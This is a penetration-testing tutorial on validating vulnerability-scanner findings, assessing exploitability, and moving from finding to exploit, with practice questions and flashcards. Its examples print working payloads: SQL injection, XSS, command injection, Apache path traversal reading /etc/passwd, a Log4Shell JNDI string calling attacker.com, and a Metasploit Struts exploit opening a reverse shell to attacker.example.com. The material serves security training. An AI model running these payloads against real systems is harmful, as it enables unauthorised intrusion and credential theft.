Validating Scanner Findings
The Scanner Noise Problem
Vulnerability scanners like Nessus, Qualys, and OpenVAS generate hundreds of findings. Many are false positives — the scanner detected a version string that matches a CVE, but the actual vulnerability does not exist in the environment. Your first job is to separate real vulnerabilities from scanner noise.
Why Scanners Produce False Positives
Scanners work by matching version strings against vulnerability databases. They do not actually test whether the vulnerability is exploitable. Common false positive scenarios:
- Version mismatch — The banner says "Apache 2.4.41" but the actual version is patched
- Configuration differences — The vulnerability exists in the default config but the target has mitigations
- Backported patches — The vendor backported a security fix without changing the version number
- Different product — The scanner misidentified the product (e.g., nginx vs. Apache)
The Validation Process
For each scanner finding, follow this validation process:
Step 1: Verify the version
Manually confirm the version string. Do not trust the scanner's version detection.
# Check the actual version
curl -sI https://target.example.com | grep Server
nc -v target.example.com 22
Step 2: Check for compensating controls
Even if the version is vulnerable, the environment may have mitigations:
- WAF (Web Application Firewall) — May block exploit attempts
- IDS/IPS — May detect and block exploit traffic
- Configuration hardening — May disable the vulnerable feature
- Network segmentation — May prevent access to the vulnerable service
Step 3: Attempt a safe proof of concept
Before running a full exploit, test with a harmless payload that confirms the vulnerability without causing damage:
# For SQL injection — test with a simple payload
curl "https://target.example.com/api/users?id=1' OR '1'='1"
# For XSS — test with a benign alert
curl "https://target.example.com/search?q=<script>alert(1)</script>"
# For command injection — test with a harmless command
curl "https://target.example.com/ping?host=127.0.0.1;id"
Step 4: Document the validation
Record your validation steps and results:
Finding: CVE-2021-41773 (Apache Path Traversal)
Scanner Version: Apache 2.4.49
Manual Verification: Confirmed via curl -sI (Server: Apache/2.4.49)
Compensating Controls: None detected
Proof of Concept: curl --path-as-is https://target.example.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
Result: VULNERABLE — /etc/passwd contents returned
When to Accept Scanner Findings Without Full Exploitation
Some vulnerabilities are well-known and reliable enough to report without full exploitation:
- Missing security headers — Verified by inspecting response headers
- Weak SSL/TLS configuration — Verified by SSL Labs scan or testssl.sh
- Default credentials — Verified by attempting login with default credentials
- Information disclosure — Verified by observing the exposed data
For these, document the evidence and move on. Reserve full exploitation for high-impact vulnerabilities where proof of concept is needed.
Assessing Exploitability
Beyond CVSS Scores
CVSS scores quantify severity but do not tell you whether a vulnerability is actually exploitable in your environment. A CVSS 9.8 vulnerability may be unexploitable due to configuration, while a CVSS 5.3 vulnerability may be trivially exploitable due to missing controls.
Factors That Affect Exploitability
1. Access Requirements
- Unauthenticated — No login required; highest exploitability
- Authenticated (low privilege) — Requires a user account; moderate exploitability
- Authenticated (high privilege) — Requires admin access; lower exploitability
2. Network Position
- Internet-facing — Directly accessible from anywhere; highest risk
- Internal only — Requires VPN or internal network access; lower risk
- Isolated — Air-gapped or heavily segmented; lowest risk
3. Configuration
- Default configuration — Vulnerability is exploitable as-is
- Hardened configuration — Vulnerability may be mitigated by configuration changes
- Feature disabled — Vulnerable feature is not enabled; not exploitable
4. Compensating Controls
- WAF — May block exploit payloads
- IDS/IPS — May detect and alert on exploit attempts
- Rate limiting — May prevent brute-force or automated exploitation
- Input validation — May sanitize exploit payloads
The Exploitability Matrix
| Factor | Increases Exploitability | Decreases Exploitability |
|---|---|---|
| Access | Unauthenticated | Admin required |
| Network | Internet-facing | Air-gapped |
| Config | Default | Hardened |
| Controls | None | WAF + IDS |
Practical Example: Assessing a Finding
Finding: CVE-2021-44228 (Log4Shell) — CVSS 10.0
Assessment:
- Version verification — Confirmed Log4j 2.14.1 in use
- Access requirements — Unauthenticated; any input that gets logged triggers the vulnerability
- Network position — Internet-facing web application
- Configuration — Default configuration; no JNDI restrictions
- Compensating controls — WAF present but does not block JNDI payloads
Conclusion: Exploitable. The combination of unauthenticated access, internet-facing deployment, default configuration, and ineffective WAF makes this a critical, immediately exploitable vulnerability.
Prioritization Framework
Prioritize vulnerabilities by combining:
- Impact — What can an attacker achieve? (RCE > data theft > DoS)
- Exploitability — How easy is it to exploit? (unauthenticated > authenticated)
- Exposure — How accessible is the target? (internet-facing > internal)
- Confidence — How certain are you that it is real? (validated > scanner-only)
Priority = Impact × Exploitability × Exposure × Confidence
Documenting Exploitability Assessment
For each vulnerability, document:
Vulnerability: CVE-2021-44228 (Log4Shell)
CVSS: 10.0
Impact: Remote Code Execution
Exploitability:
- Access: Unauthenticated
- Network: Internet-facing
- Configuration: Default
- Controls: WAF (ineffective against JNDI)
Validation: Confirmed via JNDI injection payload
Proof of Concept: ${jndi:ldap://attacker.com/a}
Priority: Critical — immediate exploitation recommended
The Complete Vulnerability-to-Exploit Flow
The End-to-End Process
From discovering a vulnerability to confirming exploitation, the complete flow is:
Discovery → Validation → Assessment → Exploitation → Documentation
Phase 1: Discovery
Vulnerabilities are discovered through:
- Automated scanning — Nessus, Qualys, OpenVAS, Burp Scanner
- Manual testing — Burp Repeater, custom scripts, manual input testing
- Code review — Source code analysis for logic flaws
- Threat intelligence — CVE announcements, vendor advisories
Phase 2: Validation
Confirm the vulnerability is real:
- Verify the affected component exists in the environment
- Check for compensating controls
- Attempt a safe proof of concept
- Document the validation evidence
Phase 3: Assessment
Determine if the vulnerability is exploitable:
- Evaluate access requirements
- Assess network exposure
- Review configuration and controls
- Calculate priority based on risk
Phase 4: Exploitation
Exploit the vulnerability to confirm impact:
- Choose an appropriate exploit (Metasploit, custom script, public PoC)
- Configure the exploit for the target environment
- Execute the exploit in a controlled manner
- Document the exploitation with evidence (screenshots, logs)
Phase 5: Documentation
Record the complete finding:
Vulnerability: SQL Injection in login form
CVE: CVE-2023-12345
CVSS: 9.8 (Critical)
Affected System: target.example.com (192.168.1.100)
Affected Component: Login form (POST /login)
Validation:
- Manual testing confirmed SQL injection in username parameter
- Payload: admin' OR '1'='1' --
- Response: Successful login as admin
Assessment:
- Access: Unauthenticated
- Network: Internet-facing
- Configuration: Default
- Controls: None
Exploitation:
- Tool: sqlmap
- Command: sqlmap -u https://target.example.com/login --data="username=admin&password=test" --dbs
- Result: Extracted database names, tables, and user credentials
Impact:
- Complete database compromise
- User credentials exfiltrated
- Potential for further exploitation via extracted data
Remediation:
- Use parameterized queries/prepared statements
- Implement input validation
- Apply principle of least privilege to database user
Practical Example: From Scanner to Shell
Scanner finding: Apache Struts 2.5.12 — CVE-2017-5638 (RCE)
Validation:
# Verify version
curl -sI https://target.example.com | grep -i struts
# Response: X-Struts-Version: 2.5.12
# Test with safe payload
curl -H "Content-Type: %{#cmd='id'}.multipart/form-data" https://target.example.com/upload
# Response contains uid=0(root) gid=0(root)
Assessment: Unauthenticated, internet-facing, default config, no WAF → Exploitable
Exploitation:
# Use Metasploit
msfconsole
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS target.example.com
set RPORT 443
set TARGETURI /upload
set PAYLOAD linux/x64/meterpreter/reverse_https
set LHOST attacker.example.com
set LPORT 443
exploit
Result: Meterpreter session opened. Vulnerability confirmed as exploitable with full RCE.
Common Mistakes
- Skipping validation — Reporting scanner findings without confirming they are real
- Ignoring compensating controls — Assuming a vulnerability is exploitable without checking for WAF/IDS
- Over-exploiting — Using a destructive exploit when a safe proof of concept would suffice
- Poor documentation — Failing to record the complete path from discovery to exploitation
- Not considering business impact — Focusing on technical severity without considering what the vulnerability means for the business
Practice Problems
Your vulnerability scanner reports CVE-2021-41773 (Apache Path Traversal) on target.example.com. Describe how you would validate this finding before reporting it.
Solution
1. Verify version: curl -sI https://target.example.com | grep Server — confirm Apache 2.4.49. 2. Check for compensating controls: Test if a WAF blocks path traversal payloads. 3. Attempt safe proof of concept: curl --path-as-is https://target.example.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd — if /etc/passwd contents are returned, vulnerability is confirmed. 4. Document: Record version, validation steps, proof of concept, and result. 5. If any step fails, investigate further before reporting. You have confirmed a SQL injection vulnerability in an internal web application. The application requires authentication, is only accessible from the corporate VPN, and has a WAF. Describe how you would assess its exploitability.
Solution
Assessment: 1. Access: Authenticated — requires a valid user account, reducing exploitability. 2. Network: Internal only — requires VPN access, significantly reducing exposure. 3. Configuration: WAF present — may block SQL injection payloads, but WAFs can often be bypassed. 4. Overall: Lower priority than unauthenticated, internet-facing vulnerabilities. However, still report it because: authenticated SQLi can still lead to data theft, WAF bypass techniques exist, and internal threats are real. Document the compensating controls and recommend fixing regardless of exploitability. Quiz
1. Why do vulnerability scanners produce false positives?
2. What is the correct order of the vulnerability-to-exploit flow?
3. Which factor most significantly reduces the exploitability of a vulnerability?
4. When is it acceptable to report a vulnerability without full exploitation?
Flashcards
Question
Why do vulnerability scanners produce false positives?
Click to reveal answer
Answer
Scanners match version strings against CVE databases without testing actual exploitability. Backported patches, configuration differences, and version mismatches cause false positives.
Question
What is the vulnerability-to-exploit flow?
Click to reveal answer
Answer
Discovery → Validation → Assessment → Exploitation → Documentation. Each phase feeds the next, ensuring findings are real, exploitable, and well-documented.
Question
What factors affect exploitability?
Click to reveal answer
Answer
Access requirements (unauthenticated > authenticated), network exposure (internet-facing > internal), configuration (default > hardened), and compensating controls (none > WAF + IDS).
Question
When can you report a vulnerability without full exploitation?
Click to reveal answer
Answer
When the vulnerability can be verified through configuration inspection or safe observation (missing headers, weak SSL, default credentials, info disclosure). Reserve full exploitation for high-impact findings.
Question
What is the exploitability matrix?
Click to reveal answer
Answer
A framework combining Impact × Exploitability × Exposure × Confidence to prioritize vulnerabilities by real-world risk rather than CVSS score alone.
Revision Notes
Key Takeaways
- 1. Scanner findings must be validated — version strings can be wrong or patched
- 2. Exploitability depends on access, network exposure, configuration, and controls — not just CVSS
- 3. The complete flow: Discovery → Validation → Assessment → Exploitation → Documentation
- 4. Some vulnerabilities can be reported without full exploitation if verifiable by inspection
- 5. Prioritize by real-world risk: Impact × Exploitability × Exposure × Confidence
- 6. Document the complete path from discovery to confirmed exploitation
Interview Tips
- • Describe a specific vulnerability you validated and how you confirmed it was real
- • Explain how you assess exploitability beyond CVSS scores
- • Discuss a time you found a scanner false positive and how you identified it
- • Mention how you prioritize which vulnerabilities to exploit first based on risk
Cheat Sheet
From Vulnerability to Exploit Cheat Sheet
Phase: Exploitation Fundamentals and Metasploit | Level: intermediate
The Flow:
Discovery → Validation → Assessment → Exploitation → Documentation
Validation Steps:
- Verify version manually (do not trust scanner)
- Check for compensating controls (WAF, IDS, config)
- Attempt safe proof of concept
- Document validation evidence
Exploitability Factors:
- Access: Unauthenticated > Authenticated
- Network: Internet-facing > Internal > Air-gapped
- Config: Default > Hardened
- Controls: None > WAF + IDS
Prioritization:
Priority = Impact × Exploitability × Exposure × Confidence
When to Skip Full Exploitation:
- Missing security headers (verify by inspection)
- Weak SSL/TLS (verify by testssl.sh)
- Default credentials (verify by login attempt)
- Information disclosure (verify by observation)
Tags: exploitation, vulnerability-management
Continue Learning
Before You Start
- No prerequisites listed.